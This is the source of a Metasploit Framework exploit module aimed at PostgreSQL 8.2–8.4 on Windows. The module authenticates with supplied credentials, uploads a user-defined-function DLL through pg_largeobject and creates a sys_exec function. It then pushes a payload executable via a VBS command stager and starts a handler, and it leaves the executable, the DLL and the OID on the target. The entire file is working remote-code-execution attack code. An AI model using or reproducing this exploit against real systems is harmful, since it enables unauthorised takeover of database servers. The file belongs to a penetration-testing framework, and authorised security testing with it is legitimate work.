## # $Id: postgres_payload.rb 12115 2011-03-23 21:24:09Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Postgres include Msf::Exploit::CmdStagerVBS # Creates an instance of this module. def initialize(info = {}) super(update_info(info, 'Name' => 'PostgreSQL for Microsoft Windows Payload Execution', 'Description' => %q{ This module creates and enables a custom UDF (user defined function) on the target host via the UPDATE pg_largeobject method of binary injection. On default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres service account may write to the Windows temp directory, and may source UDF DLL's from there as well. PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are valid targets for this module. NOTE: This module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL and the OID. }, 'Author' => [ 'Bernardo Damele A. G. ', # the postgresql udf libraries 'todb' # this Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12115 $', 'References' => [ [ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf', 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], # Confirmed on XXX ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper. )) register_options( [ OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]) ]) deregister_options('SQL', 'RETURN_ROWSET') end # Buncha stuff to make typing easier. def username; datastore['USERNAME']; end def password; datastore['PASSWORD']; end def database; datastore['DATABASE']; end def verbose; datastore['VERBOSE']; end def rhost; datastore['RHOST']; end def rport; datastore['RPORT']; end def execute_command(cmd, opts) postgres_sys_exec(cmd) end def exploit version = get_version(username,password,database,verbose) case version when :nocompat; print_error "Authentication successful, but not a compatable version." when :noauth; print_error "Authentication failed." when :noconn; print_error "Connection failed." end return unless version =~ /8\.[234]/ print_status "Authentication successful and vulnerable version #{version} on Windows confirmed." tbl,fld,dll,oid = postgres_upload_binary_file(dll_fname(version)) unless tbl && fld && dll && oid print_error "Could not upload the UDF DLL" return end print_status "Uploaded #{dll} as OID #{oid} to table #{tbl}(#{fld})" ret_sys_exec = postgres_create_sys_exec(dll) if ret_sys_exec if @postgres_conn execute_cmdstager({:linemax => 1500, :nodelete => true}) handler postgres_logout if @postgres_conn else print_error "Lost connection." return end end postgres_logout if @postgres_conn end def dll_fname(version) File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll") end # A shorter version of do_fingerprint from the postgres_version scanner # module, specifically looking for versions that valid targets for this # module. def get_version(user=nil,pass=nil,database=nil,verbose=false) begin msg = "#{rhost}:#{rport} Postgres -" password = pass || postgres_password print_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") if verbose result = postgres_fingerprint( :db => database, :username => user, :password => password ) if result[:auth] # So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4 # This also checks to see if it was compiled with a windows-based compiler -- # the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw) # Also, the method to write files to disk doesn't appear to work on 9.0, so # tabling that version for now. if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C\+\+|mingw|cygwin)/i return $1 else print_status "Found #{result[:auth]}" return :nocompat end else return :noauth end rescue Rex::ConnectionError print_error "#{rhost}:#{rport} Connection Error: #{$!}" if datastore['VERBOSE'] return :noconn end end end